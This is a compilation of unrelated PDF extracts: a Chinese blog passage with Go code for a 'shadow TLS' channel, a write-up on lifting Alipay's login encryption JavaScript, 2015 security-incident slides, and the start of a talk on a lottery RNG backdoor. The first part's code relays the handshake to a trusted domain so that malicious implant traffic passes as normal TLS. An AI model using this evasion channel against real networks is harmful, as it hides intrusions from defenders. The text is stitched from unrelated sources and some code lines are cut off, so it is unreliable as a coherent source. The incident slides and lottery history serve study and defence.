⽽数据传输阶段,数据包格式较为固定,均为Application Data,并且握⼿层⼀般是通过握⼿阶段协商好
的密钥进⾏加密传输的。
所以shadow tls的实现原理也就出来了。
1. 握⼿阶段,服务端将客户端的请求转发到⼀个可信域名上,这样保证流量侧看到的服务端证书是⼀个
可信域名的证书
2. 等握⼿完成后,数据传输阶段,停⽌转发,客户端和服务端之间加密传输恶意payload即可。那么这
⾥就有⼀个疑问了,由于tls的防中间⼈攻击,使⽤的是⾮对称算法进⾏握⼿协商出共享密钥,我的
服务端是拿不到的,其实这个⽆所谓,我看不到,中间设备也同样看不到,那么我的客户端和服务端
⽤⼀个假的密钥加密数据伪造⼀个Application Data进⾏传输,在中间设备看起来也是完全正常的。
实现
14
原理就这么简单,实现的话,只需要注意⼀下握⼿结束的标识,将转发模式切换成恶意payload通信模式
即可,我这⾥选择的是判断接收到第⼀个application data协议的包,则切换模式。
编写前,review了下官⽅tls库,写的针不戳,这⾥参考他的写法,也是将普通conn封装⼀层。
同样,握⼿也是在write和read时,先判断是否完成握⼿,未完成则先进⾏握⼿。
完成的话,write就构造application data,格式如下;read就读取后,解密数据,key⽬前暂时写死,后
续考虑⼀些其他协商⽅式。
client
type(1) + version(2) + len(2) + encryptData
1
Go
复制代码
15
因为主要功能是在于服务端转发和切换模式,⽽客户端握⼿就相对简单了,将conn封装
到 tls.Client 中,然后调⽤ Handshake() ,即可发送握⼿,⽽这⾥有个⼩trick,封装后的 tlsC
onn ,只进⾏握⼿,⽽数据通信还是使⽤原来的conn,这样就不会受tlsConn⾃身协商的算法以及key限
制了。
16
server端代码如下,先和可信域名建⽴⼀个tcp连接,然后起⼀个goroutine,等待可信域名响应数据,写
⼊客户端连接。
再⼀个循环等待读取conn连接,将他写⼊到可信域名连接⾥,⼀旦判断到ContentType是
ApplicationData则退出循环,表明握⼿结束。
server
17
// 服务端初始化
func (c *ShadowTLSConn) serverHandshake() error {
defer c.conn.SetReadDeadline(time.Time{})
shadowDomainConn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", c
.domain, c.domainPort), 10*time.Second)
if err != nil {
return err
}
defer shadowDomainConn.Close()
handshakeOver := make(chan bool)
// 接收服务端数据,转发到客户端
shadowInput := new(bytes.Buffer)
go func() {
for {
select {
case <-handshakeOver:
return
default:
}
shadowDomainConn.SetReadDeadline(time.Now().Add(5 * time.Secon
d))
data, err1 := c.read(shadowInput, shadowDomainConn)
if err1 != nil {
return
}
//time.Sleep(10 * time.Millisecond)
_, err1 = c.conn.Write(data)
if err1 != nil {
return
}
}
}()
// 接收客户端的数据,转发到真实服务端
for {
c.conn.SetReadDeadline(time.Now().Add(5 * time.Second))
data, err1 := c.read(&c.rawInput, c.conn)
if err1 != nil {
c.conn.Close()
return err1
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Go
复制代码
18
过程看起来很简单,但测试发现读取tls数据时⽼是出问题,暂时不得⽽知原因,正常来说根据tls数据包
格式,先读取5字节,然后根据⻓度字段再继续读取剩余部分,应该正常。
最后还是参考了官⽅tls库的⽅法,通过⼀个 bytes.Buffer 从 conn 中读取数据,应该是 atLeastR
eader 的实现⽐较巧妙吧。
if recordType(data[0]) == recordTypeApplicationData {
c.version = data[1:3]
close(handshakeOver)
break
}
_, err1 = shadowDomainConn.Write(data)
if err1 != nil {
c.conn.Close()
return err1
}
}
return nil
}
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
19
封装好库,测试代码也就很简单了
测试
20
数据包,握⼿阶段转发可信域名,后续application data⽤固定密钥加密伪造
在9995端⼝监听,可以看到客户端通过该端⼝可以正常上线,⽽通过浏览器访问,会返回可信域名的⻚
⾯(这⾥是做了⼀个伪装,区分了下上线流量和浏览器访问流量,增加迷惑性),并且证书还是有效
的。
PS: 这⾥绑定host,是为了更直观证书的有效性,不绑定也不会有区别,只是IP访问⽆法直观看到证书有
效性。
21
这样在原来的SNI欺骗之上,增加了可信域名证书,让通信流量更加趋于正常。
参考
TLS 详解
传输层安全协议TLS——协议解析_怿星科技的博客-CSDN博客_传输层安全协议 | pdf |
JS逆向|40分钟视频通杀⼤⼚登陆加密
收录于合集
#JS逆向
4个
介绍
书接上⽂Burpy|⼀款流量解密插件 属于配套了
其实这个⽀付宝案例已经发过⽂了,我实在是懒得写别的站点⽂章;重新录了个通杀的视
频,就以⽀付宝为案例讲解了,基本秒扣加解密函数,视频⾥有百度、爱奇艺、优酷、微
博都简单扣了⼀下,⼏分钟搞定,⼤家有案例的话也可以私发我。
点击下⽅图⽚跳转到视频
或访问:
2022-07-23 12:42 发表于北京
原创
不愿透露姓名的热⼼⽹友 ⼀位不愿透露姓名的热⼼⽹友
https://www.bilibili.com/video/BV16d4y1S7Su
⼀键三连啊看官们
下⾯就⽼⽂新发了,可以直接忽略不看。
⽹站:aHR0cHM6Ly93d3cuYWxpcGF5LmNvbS8=
f12 network
Ctrl+Shift +F 局搜索需要解密的password关键字
多次调试后最终在index.js中的393⾏找到getPassword的⽅法,转⽽搜索getPassword声明位
置;在index.js中4979⾏地⽅找到声明信息。
然后下断点,对⽐发包请求内容,发现n的内容password字段信息内容⼀⾄,⽽n是
e.alipayEncrypt(2,i,t)传过来的,所以只需要 return e.alipayEncrypt(2,i,t)
n --> e .alipayEncrypt()
e --> new s.RSA
s -- > ?
先跟进下s.rsa
可以知道s.RSA是个function ,跟进s.RSA发现来到了Wi ⽅法,(名字不⼀样的原因可能是在
上⾯的代码重新赋值了名字,不过不重要。)发现这个⽅法是规定key_size和exponent的。
回到getpassword找到加密⽅法e .alipayEncrypt() ,发现也是Wi,接着发现Wi是从 Gi过来
的.....这种情况下发现加密⽅法和其他js代码在同⼀个js⻚⾯内有⼏万⾏代码的只能费时间选择
性的扣有⽤代码了;
回到getPassword⽅法附近找到s是怎么来的,在4971⾏找到s = security_crypto_200_index ,
这时候搜索security_crypto_200_index 把js⽅法扣下来
security_crypto_200_index内容是键值对,我们只需要s.RSA也就是
security_crypto_200_lib_rsa
security_crypto_200_index = function(t) {
return t = {
Base64: security_crypto_200_lib_base64,
xor: security_crypto_200_lib_xor,
RSA: security_crypto_200_lib_rsa
}
}()
通过crtl+f 搜索相关信息可以找到security_crypto_200_lib_rsa开头,⽽结尾这个就是Wi了,具
体在哪⾃⼰判断和调试了,⼤概为下⾯内容
security_crypto_200_lib_rsa = function(t) {
function e(t, e, i) {
null != t && ("number" == typeof t ? this.fromNumber(t, e, i) : null == e && "str
}
*********
************
**************
****************
return this.key
}, Wi.prototype.getPrivateKey = function() {
return this.getKey().getPrivateKey()
}, Wi.prototype.getPrivateKeyB64 = function() {
return this.getKey().getPrivateBaseKeyB64()
}, Wi.prototype.getPublicKey = function() {
return this.getKey().getPublicKey()
}, Wi.prototype.getPublicKeyB64 = function() {
return this.getKey().getPublicBaseKeyB64()
}, t = Wi
}()
根据所需要的⽅法 在不考虑i 变动的情况下调⽤代码,剩下的就是和s.RSA⼀样的步骤扣出是
s.Base64 了
function getPassword(pwd) {
var s = security_crypto_200_lib_rsa;
var e = new s;
//var i = security_crypto_200_lib_base64;
//s.decode(options.TS);
e.setPublicKey("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAo0z/L+pelCPu6DwDFAY/3ITzes
return e.alipayEncrypt(2, i, pwd)
}
完成,剩下i的内容在⽹⻚源代码就能找到,只需要把他扣给decode
⻓按⼆维码识别关注我吧
往期回顾
使⽤易语⾔开发⼀款远控软件
喜欢此内容的⼈还喜欢
记⼀次挖矿,root⽆权执⾏命令的解决过程
DOM Invader | DOMXSS挖掘助⼿
收录于合集 #JS逆向 4
上⼀篇
Burpy|⼀款流量解密插件
下⼀篇
某付宝登录js分析
web⽇志⾃动化分析 ⽂末附福利优惠
轩公⼦谈技术
标准程序架构说明2:控制对象说明
壶琰棠 | pdf |
Are$we$creating$incidents?
August$26,$2015$
在 臺北$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
0
Disclaimer
• The$presentation$itself,$and$the$views$and$
opinions$expressed$by$the$presenter$therein$do$
NOT$reflect$those$of$any$of$my$affiliations$at$all.$
• NONE$of$such$affiliations$above$thereof$assumes$
any$legal$liability$or$responsibility$for$the$
presentation.$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
1
Cuckoo’s$Egg
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
2
Source:$
http://www.amazon.com/CuckoosREggRTrackingRComputerREspionage/dp/1416507787$
Cuckoo’s$Egg
....eventually$realized$that$the$unauthorized$user$
was$a$hacker$who$had$acquired$root$access$to$the$
LBL$system$by$exploiting$a$vulnerability$in$the$
movemail$function$of$the$original$GNU$Emacs.$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
3
Authentication+Breach
Source:$Wikipedia:$http://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg$
Privilege+Escalation
Vulnerability+Exploited!
Cuckoo’s$Egg
• Published$in$1989$
• Story$on$August$1986$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
4
Source:$Wikipedia:$http://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg$
QUESTION$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
5
Why$do$we$STILL$have$the$same$
problems$after$almost$30$years?
Inventory$and$Lifecycle$management
Source:$©$Nekojin$(ねこじん様)$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
6
Do$we$know$ALL$we$have$up$to$date,$or$$
are$legacies,$zombies,$or$ghosts$still$alive?$
Inventory$and$Lifecycle$management
Source:$NetMarketShare,$July$2015:$$
http://www.netmarketshare.com/operatingRsystemRmarketRshare.aspx?qprid=10&qpcustomd=0
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
7
Are$legacies,$zombies,$or$ghosts$still$alive?$
Source:$Microsoft:$$
https://www.microsoft.com/enRus/serverRcloud/products/windowsRserverR2003/
Inventory$and$Lifecycle$management
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
8
Are$legacies,$zombies,$or$ghosts$still$alive?$
Source:$Microsoft:$$
https://technet.microsoft.com/enRus/library/security/ms15R078.aspx
Inventory$and$Lifecycle$management
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
9
MS15R078R$Critical:$as$Real$Impact!"$
• July$14,$2015 $MS15R077$(Important)$Released,$
$covering$Windows$Server$2003$
• July$14,$2015 $Microsoft$ended$$support$for$
$Windows$Server$2003$
• July$20,$2015 $MS15R078$(Critical):$replaces$
$MS15R077,$without+covering+
$Windows$Server$2003…!"$
Source:$Microsoft:$$
https://technet.microsoft.com/enRus/library/security/ms15R077.aspx$
https://technet.microsoft.com/enRus/library/security/ms15R078.aspx
Inventory$and$Lifecycle$management
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
10
Source:$OpenSSL$Release$Strategy:$$
https://www.openssl.org/about/releasestrat.html
Inventory$and$Lifecycle$management
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
11
Running$OpenSSL$0.9.8$or$1.00?$$Are$U$ready?$
• Support$for$version$0.9.8$will+cease+on+2015@12@31.$$
• Support$for$version$1.0.0$will+cease+on+2015@12@31.$$
• Version$1.0.1$will$be$supported$until$2016R12R31.$
• Version$1.0.2$will$be$supported$until$2019R12R31.$
$$(updated$on$August$9,$2015)$
PoS$System$breach?
Source:$TechCrunch$and$Bloomberg
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
12
Policy$and$implementation
“the$malware$started$
transmitting$the$
stolen$data$to$an$
external+FTP+server,+
using$another$
infected$machine$
within$the$Target$
network.”$
• Why$outgoing$FTP$allowed?$
#!$$
Source:$Seculert:$http://www.seculert.com/blog/2014/01/posRmalwareRtargetedRtarget.html
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
13
Authentication$and$Authorization
“Last$week,$Target$told$
reporters$at$The$Wall$
Street$Journal$and$Reuters$
that$the$initial&intrusion&
into&its&systems&was&
traced&back&to&network&
credentials&that&were&
stolen&from&a&third&party&
vendor.”
• Why$did$that$vendor$need$access?$
• What$authorization$granted?$
Source:$Krebs$on$Security:$$
http://krebsonsecurity.com/2014/02/targetR
hackersRbrokeRinRviaRhvacRcompany/
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
14
Saga$continues,$$costing$$$$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
15
Source:$ABC$&$News$Bay$Area,$on$Tuesday$August$18,$2015:$$
http://abc7news.com/shopping/targetRagreesRtoRpayRvisaR$67RmillionRafterR2013RdataRbreach/944667/
Software$vulnerabilities$and$exploits
• Are$we$doing$enough$and$right?
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
16
“99.9%%OF%THE%EXPLOITED%VULNERABILITIES%WERE%COMPROMISED%MORE%
THAN%A%YEAR%AFTER%THE%CVE%WAS%PUBLISHED.”%,%according%to%2015%Verizon%DBIR%
S0urce:$p15,$Verizon$2015$Data$Breach$Investigation$Report$
Software$vulnerability$and$exploits
• Attackers$move$quickly..
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
17
“About%half%of%the%CVEs%exploited%in%2014%went%from%publish%to%pwn%
in%less%than%a%month.”%,%according%to%2015%Verizon%DBIR%
S0urce:$p16,$Verizon$2015$Data$Breach$Investigation$Report$
Software$vulnerability$and$exploits
• Even$more$quickly..
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
18
S0urce:$FRSecure$“Hacking$Team$0Rday$Flash$Wave$with$Exploit$Kits”+
https://www.fRsecure.com/weblog/archives/00002819.html
Breached+data+
published+including+
zero+days
Adobe$released$
APSB15R16
19
Source: https://twitter.com/apbarros/status/481157619261116416/photo/1
Operational$(In)Security
WorldCup$2014
• Worldcup$2014
20
Source: https://twitter.com/apbarros/status/481157619261116416/photo/1
Operational$(In)Security
Operational$(In)Security
• TV5$Monde$in$France$on$April$2015
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
21
S0urce:$BBC,$“France+TV5Monde+passwords+seen+on+cyber@attack+TV+report”+
http://www.bbc.com/news/worldReuropeR32248779
Mobile
Especially$smart$phones$are$more$scary$than$PCs$
• Can$be$easily$lost$
• More$personal$info~$yours$AND$others$
• Insecure$“features”$
• Do/Can$you$log$out?$
as$well$as$software$vulnerabilities$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
22
Mobile
• Insecure$“requirement”$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
23
S0urce:$My$iPhone$6$Plus
Are$we$creating$incidents?
• Are$we$doing$enough?$
• Are$we$doing$right?$
• Are$we$learning$lessons?$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
24
Thoughts$and$
possible$takeaways
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
25
Authentication$and$Authorization
• Regardless$of$the$attack$vectors$[old,$new,$or$emerging]$
• Important$Identity$and$Access$Management$(IAM)$$
• Need$broad$scope$and$consideration:$
– Enrollment,$Lifecycle,$Credential,$Key,$$
– Identity$Management$for$authentication,$$
– Access$control$and$Attribute$management$for$authorization,$
– $Level$of$identity$or$authentication$assurance,$$
– monitoring$suspicious$behaviors,$$
– policy$enforcement,$$etc.$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
26
Configure$your$assets$secured$
~$Configuration$Matters!~
• Client$Terminals$
• Servers$
• Routers$
• Switches$
• Printers$etc.$
Great&references&available&for&FREE&
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
27
Configure$your$system$secured
Source:$http://iase.disa.mil/stigs/Pages/index.aspx$$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
28
Configure$your$system$secured
Source:$https://web.nvd.nist.gov/view/ncp/repository$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
29
Configure$your$system$secured
Source:$The$United$States$Government$Configuration$Baseline$(USGCB):$
http://usgcb.nist.gov/index.html$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
30
Segmentation
• Develop$stable$and$updated$policy$
• Subnet$based$
• Hardware$based$
• Role$or$function$based$
• Usage$based$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
31
Mobile$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
32
Detect$the$incidents$ASAP!$
• Disable$access$from$that$terminal$ASAP$
• Remote$erase$
• Kill$switch$
Monitoring$and$logging$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
33
• Synchronize$CLOCK$
• Detection$focused$
• Keep$confirming$if$there$is$anything$unmonitored$
• Keep$thinking$what$can$be$“NOT$NORMAL”$
• Time$
• Geolocation$
• Mobile$
• Give$priority$to$be$monitored$
• Prepare$for$blocking$them$at$any$time$
Check$your$outsourced$resources$
(e.g.$your$data$on$“Cloud”)$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
34
• Think$again$what$data$can$be$really$outsourced$
• Confirm$terms$and$conditions,$contract,$SLAs.$
• Use$as$strong$authentication$as$possible$
• Check$your$“neighbors”$
• Check$access$logs$as$often$as$possible$
• Check$how$your$providers$are$secured$
Post$Disaster$$
• Update$your$Disaster$Recovery$and$Business$
Continuity$plans$if$you$are$directly$involved.$
• Attacks$after$disasters$
– Malicious$emails$pretending$donation,$breaking$
news,$etc.$
• Analyze$the$disaster$
– Analyze$impact$as$if$it$had$happened$to$your$
business$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
35
Source:$NASA$http://earthobservatory.nasa.gov/NaturalHazards/view.php?id=86370$
Incident$Response$$
• Do$our$BEST$to$be$prepared$before$incidents$
• Train$and$exercise$ourselves$
• Identify$and$involve$stakeholders$“in$advance”$
• CSIRT$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
36
Communicating$with$others$
• Expand$our$capability$to$learn$from$each$other$
– to$share$something$with$them$
– to$learn$something$from$them$
– to$notify,$and$to$be$notified$
• Other$companies,$even$competitors$
• Government$Agencies$including$LEAs$and$
Regulators$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
37
Our$possible$next$challenge
Do$you$think$this$is$a$problem$in$the$future?$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
38
IoT,$or$Internet$of$$Things$
IoT
1. …IoT$devices$are+actively+penetrating$some$of$the$world’s+most+
regulated+industries+including+healthcare,+energy+
infrastructure,+government,+financial+services,+and+retail.++
2. Our$analysis$identified$three$principal$risks$that$IoT$devices$
present$in$protecting$network$environments$with$IoT$devices:$$
(1) IoT$devices$introduce$new+avenues+for+potential+remote+
exploitation$of$enterprise$networks;$
(2) the$infrastructure$used$to$enable$IoT$devices$is$beyond+
both+the+user+and+IT’s+control;$and$
(3) IT’s$often$casual$approach$to$IoT$device$management$can$
leave$devices$unmonitored+and+unpatched.$+
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
39
S0urce:$OpenDNS$“The$2015$Internet$of$Things$in$the$Enterprise$Report”$
http://info.opendns.com/rs/033ROMPR861/images/OpenDNSR2015RIoTRReport.pdf
IoT
3. Some$infrastructures$hosting+IoT+data+are+susceptible+to+
highly@publicized+and+patchable+vulnerabilities$such$as$
FREAK$and$Heartbleed.$$
4. Highly$prominent$technology$vendors$are$operating+their+
IoT+platforms+in+known+“bad+Internet+neighborhoods,”+
which+places+their+own+customers+at+risk.$$
5. Consumer$devices$such$as$Dropcam$Internet$video$cameras,$
Fitbit$wearable$fitness$devices,$Western$Digital$“My$Cloud”$
storage$devices,$various$connected$medical$devices,$and$
Samsung$Smart$TVs$continuously+beacon+out+to+servers+in+
the+US,+Asia,+and+Europe–even+when+not+in+use.++
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
40
S0urce:$OpenDNS$“The$2015$Internet$of$Things$in$the$Enterprise$Report”$
http://info.opendns.com/rs/033ROMPR861/images/OpenDNSR2015RIoTRReport.pdf
IoT
6. Though$traditionally$thought$of$as$local$storage$devices,$
Western$Digital$cloudRenabled$hard$drives$are$now$some$of$
the$most$prevalent$IoT$endpoints$observed.$Having$been$
ushered$into$highly@regulated+enterprise+environments,+
these$devices$are$actively+transferring+data+to+insecure+cloud+
servers.++
7. And$finally,$a$survey$of$more$than$500$IT$and$security$
professionals$found$that$23+percent+of$respondents$have$no+
mitigating+controls+in+place+to+prevent+someone+from+
connecting+unauthorized+devices+to+their+company’s+
networks.$$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
41
S0urce:$OpenDNS$“The$2015$Internet$of$Things$in$the$Enterprise$Report”$
http://info.opendns.com/rs/033ROMPR861/images/OpenDNSR2015RIoTRReport.pdf
To$conclude:
• Do$“ALL”$what$we$CAN$do$NOW!$
– before$we$create,$or$make$incidents$worse$
– before$excuses$
• Keep$learning$
• Keep$Questioning$
“The important thing is not to stop
questioning. Curiosity has its own
reason for existing.” Albert Einstein
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
42
To$Conclude:
• 知彼知己者、百戰不殆、$
• 不知彼而知己、一勝一負、$
• 不知彼不知己、每戰必殆。 +
Source:$孫子 攻謀篇第三$
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
43
Acknowledgement
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
44
Discussion+with,+and+inspiration+from+NTT@CERT++have+
contributed+a+lot+to+the+idea+of+today’s+presentation
QUESTIONS?
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
45
• NOW!$
• Catch$me$here$today$or$tomorrow$%$
• @s_adachi$
非常感謝!$
Thank$you$very$much!
All+of+you+here!+
Shin$Adachi,$CISSP,$CISM,$CISA,$PMP
46
Kate$Wu$吳宛諭,$
PeiKan$Tsung,$
Joel,$
John$
and$last$but$never$least, | pdf |
Backdooring the Lottery
and
Other Security Tales
from Gaming
July 30, 2017
Gus Fritschie and Evan Teitelman
Presentation Overview
1. Introductions
2. What has happened since 2011
3. Historical overview of security incidents in gaming
4. Eddie Tipton and the lottery
5. Russian slot attacks
6. Conclusion
© SeNet International Corp. 2017
3
July 2017
SeNet
Who We Are – SeNet International
© SeNet International Corp. 2017
4
July 2017
SeNet
Who We Are – Gus Fritschie
Gus Fritschie has been involved in
information security since 2000.
About 5 years ago (after his
previous DEF CON presentation on
iGaming security) he transitioned a
significant portion of his practice
into the gaming sector. Since then
he has established himself and
SeNet as the IT security leader in
gaming. He has supported a
number of clients across the
gaming spectrum from iGaming
operators, land-based casinos,
gaming manufacturer, lotteries,
tribal gaming, and daily fantasy
sports.
@gfritschie
© SeNet International Corp. 2017
5
July 2017
SeNet
Who We Are – Evan Teitelman
Evan works and lives in the
Washington DC area. He is the
founder of BlackArch Linux and
specializes in reverse engineering and
secure application development.
In his free time he enjoys hiking,
climbing, and working on his van.
© SeNet International Corp. 2017
6
July 2017
SeNet
Evan’s Van
© SeNet International Corp. 2017
7
July 2017
SeNet
What this talk is and is not
© SeNet International Corp. 2017
8
July 2017
SeNet
What has happened since 2011
© SeNet International Corp. 2017
9
July 2017
SeNet
iGaming Legislation
© SeNet International Corp. 2017
10
July 2017
SeNet
Highlighted Security Incidents in
Gaming Since 2011
None of these will be discussed in detail but are listed to illustrate that this
sector is not immune to these threats. Only a small sampling.
•
Las Vegas Sands hack
•
NJ iGaming DDOS attacks
•
Affinity Gaming breach
•
Hard Rock Hotel & Casino data breach
•
Casino Rama Resort in Ontario
•
Peppermill Resort Spa Casino in Reno credit card breach
•
Weaknesses in Daily Fantasy Sports (DFS) protections
© SeNet International Corp. 2017
11
July 2017
SeNet
Las Vegas Sands
© SeNet International Corp. 2017
12
July 2017
SeNet
History Class
© SeNet International Corp. 2017
13
July 2017
SeNet
Early attacks against slot machines
© SeNet International Corp. 2017
14
July 2017
SeNet
Early attacks against slot machines
(Cont.)
Shaved, fake coins and yo-yoing
Banknote validators
© SeNet International Corp. 2017
15
July 2017
SeNet
Early attacks against slot machines
(Cont.)
Tommy
Carmichael
Monkey Paw, a taut string
attached to a bent metal rod.
This rod was jammed into the
machine via the air vent and
was used to fish around for the
switch that released the coin
hopper. Once the switch was
activated, money was
released!
This contraption took advantage of the fact that new
machines used optical sensors to detect the number of
coins dispensed. By blinding the optical sensor, the Light
Wand made it impossible for the machine to know how
much money it was releasing. Therefore, a player equipped
with a Light Wand only had to play until a small jackpot was
hit; it was then a matter of inserting the wand and turning a
small payout into a mountain of money.
© SeNet International Corp. 2017
16
July 2017
SeNet
1980 Pennsylvania Lottery scandal
April 24th 1980 the lottery reaches its liability limits
on the Daily Number (3-digit game) on 8 of the
possible combinations of 6s and 4s (444, 446,
464, 644, 646, 664, 666)
Winning number was 666.
Later in the evening rumors surfacing that illegal
bookmakers were not paying.
When watched in slow motion only the 4s and 6s
ever move more than a few inches from the
bottom, as the rest of the balls had been weighted.
© SeNet International Corp. 2017
17
July 2017
SeNet
Ron Harris attacks against slots and
keno
Ronald Dale Harris is a computer programmer who worked for the
Nevada Gaming Control Board in the early 1990s and was responsible for
finding flaws and gaffes in software that runs computerized casino games.
Harris took advantage of his expertise, reputation and access to source
code to illegally modify certain slot machines to pay out large sums of
money when a specific sequence and number of coins were inserted
© SeNet International Corp. 2017
18
July 2017
SeNet
Ron Harris attacks against slots and
keno (Cont.)
Harris surreptitiously coded a hidden software switch -- tripped by
inserting coins in a predetermined sequence -- that would trigger cash
jackpots. After retooling more than 30 machines, Harris and
accomplices made the rounds, walking away with hundreds of
thousands of dollars.
© SeNet International Corp. 2017
19
July 2017
SeNet
Ron Harris attacks against slots and
keno (Cont.)
Harris shifted his focus to the probability game
Keno, for which he developed a program that
would determine which numbers the game's
pseudorandom number generator would
select beforehand. When Harris' accomplice,
Reid Errol McNeal, attempted to redeem a
high value winning keno ticket at Bally's
Atlantic City Casino Hotel in Atlantic City, New
Jersey, casino executives became suspicious
of him and notified New Jersey gaming
investigators. The investigation led authorities
to Harris and after a trial was sentenced to
seven years in prison. He was released from
prison after serving two years and currently
resides in Las Vegas.
© SeNet International Corp. 2017
20
July 2017
SeNet
Previous iGaming hacks/scandals
© SeNet International Corp. 2017
21
July 2017
SeNet
Current Events
© SeNet International Corp. 2017
22
July 2017
SeNet
Eddie Tipton Hot Lotto RNG Rigging
Rob Sand – Iowa
Assistant Attorney
General (lead
prosecutor)
Eddie Tipton
Tommy Tipton
Robert Rhodes
© SeNet International Corp. 2017
23
July 2017
SeNet
Tipton Overview
Lottery Fraud Case Involving a $14.3 million prize!
Lottery ticket purchased
at a QuikTrip near
Interstate Highway 80 on
Dec. 23, 2010.
Prize went unclaimed for almost a year,
until Hexham Investments Trust, a
mysterious company incorporated in
Belize, tried to claim the prize through
Crawford Shaw, a New York attorney,
hours before the ticket was set to expire in
2011.
© SeNet International Corp. 2017
24
July 2017
SeNet
Tipton Overview (Cont.)
Lottery officials refused to release the prize because
those behind the trust declined to give their identities,
which is required under Iowa law.
Claim to prize was withdrawn in January 2012. At that
time, Iowa Lottery officials asked the Iowa Attorney
General's Office and Iowa DCI to investigate.
On Oct. 13, authorities received a tip from an out-of-
state employee of the Multi-State Lottery Association
that Tipton was the man in the video.
Investigators analyzed Tipton's cellphone records,
which indicated he was in Des Moines when the ticket
was purchased, according to the arrest report. They
also discovered Tipton rented a silver 2007 Ford Edge
on Dec. 22, which matched the vehicle of the buyer of
the winning lottery ticket
© SeNet International Corp. 2017
25
July 2017
SeNet
Tipton Overview (Cont.)
Eddie was convicted in 2015 of two counts of fraud following a weeklong
trial. One of the fraud charges accused Tipton of tampering with the
nonprofit's computers to rig the draw, while the second accused him of
participating in the ill-fated attempt to redeem the ticket in late 2011 that
sparked an investigation.
He was sentenced to 10 years in prison, but has been out on bond pending
appeal.
June 29, 2016 Tipton pleaded guilty to three felony charges in Iowa and
Wisconsin. The other states where fraud occurred have agreed not to
prosecute.
© SeNet International Corp. 2017
26
July 2017
SeNet
Tipton Timeline
March 2003 – Eddie Tipton is hired at MUSL
November 23, 2005 – Colorado Lottery fraud
December 29, 2007 – Wisconsin Lottery fraud
December 29, 2010 – Kansas Lottery fraud
December 29, 2010 – Iowa Hot Lotto fraud
November 23, 2011 – Oklahoma Lottery fraud
January 15, 2015 – Eddie Tipton arrested
March 2015 – Rhodes was arrested on 2 counts of fraud
July 20, 2015 – Eddie Tipton Convicted
September 9, 2015 – Sentenced to 10 years, but free on bond pending
appeal
October 2015 – New criminal charges filed related to 2005 and 2007 fraud
March 30, 2016 – Tommy Tipton charged
June 29th, 2017 – Eddie pleads guilty in Iowa
© SeNet International Corp. 2017
27
July 2017
SeNet
How to rig the lottery
Steps to rig the lottery:
1. Become a lottery RNG
developer
2. Write code to make the
numbers predictable
3. Have your friends buy
tickets with the winning
numbers
© SeNet International Corp. 2017
28
July 2017
SeNet
How he Rigged the Lottery
© SeNet International Corp. 2017
29
July 2017
SeNet
How he Rigged the Lottery (really)
•
In 2003 Eddie got a job as an RNG developer at MUSL
•
While working there he wrote code which made the numbers predictable on
three dates
•
The source code and RNG binaries were certified by one of the major testing
labs
© SeNet International Corp. 2017
30
July 2017
SeNet
How he rigged the lottery (cont.)
•
In 2016 SeNet was contracted to perform imaging of one of the rigged
lottery RNGs
•
In 2016 after Eddie was convicted SeNet was given permission to
review the RNG images
•
Eddie didn’t seem smart enough to write a rootkit which could change
lottery numbers in memory
•
So despite the official explanation (which he was convicted off of) for
how he rigged the lottery I assumed he simply slipped some code into
the RNG which rigged it…
•
At this point we only had the binaries (no source code)
© SeNet International Corp. 2017
31
July 2017
SeNet
Reverse Engineering
•
The RNG consisted of an executable (QV.EXE) which contained the
front-end material
•
A DLL (QVRNG.DLL) which contained the PRNG
•
And a DLL (AWRAND.DLL) which interfaced with the hardware RNG
•
QVRNG.DLL was an obvious first choice for an RNG rigger
•
So I looked at QVRNG.DLL first
•
I briefly skimmed through all of the functions. One of them caught my
eye…
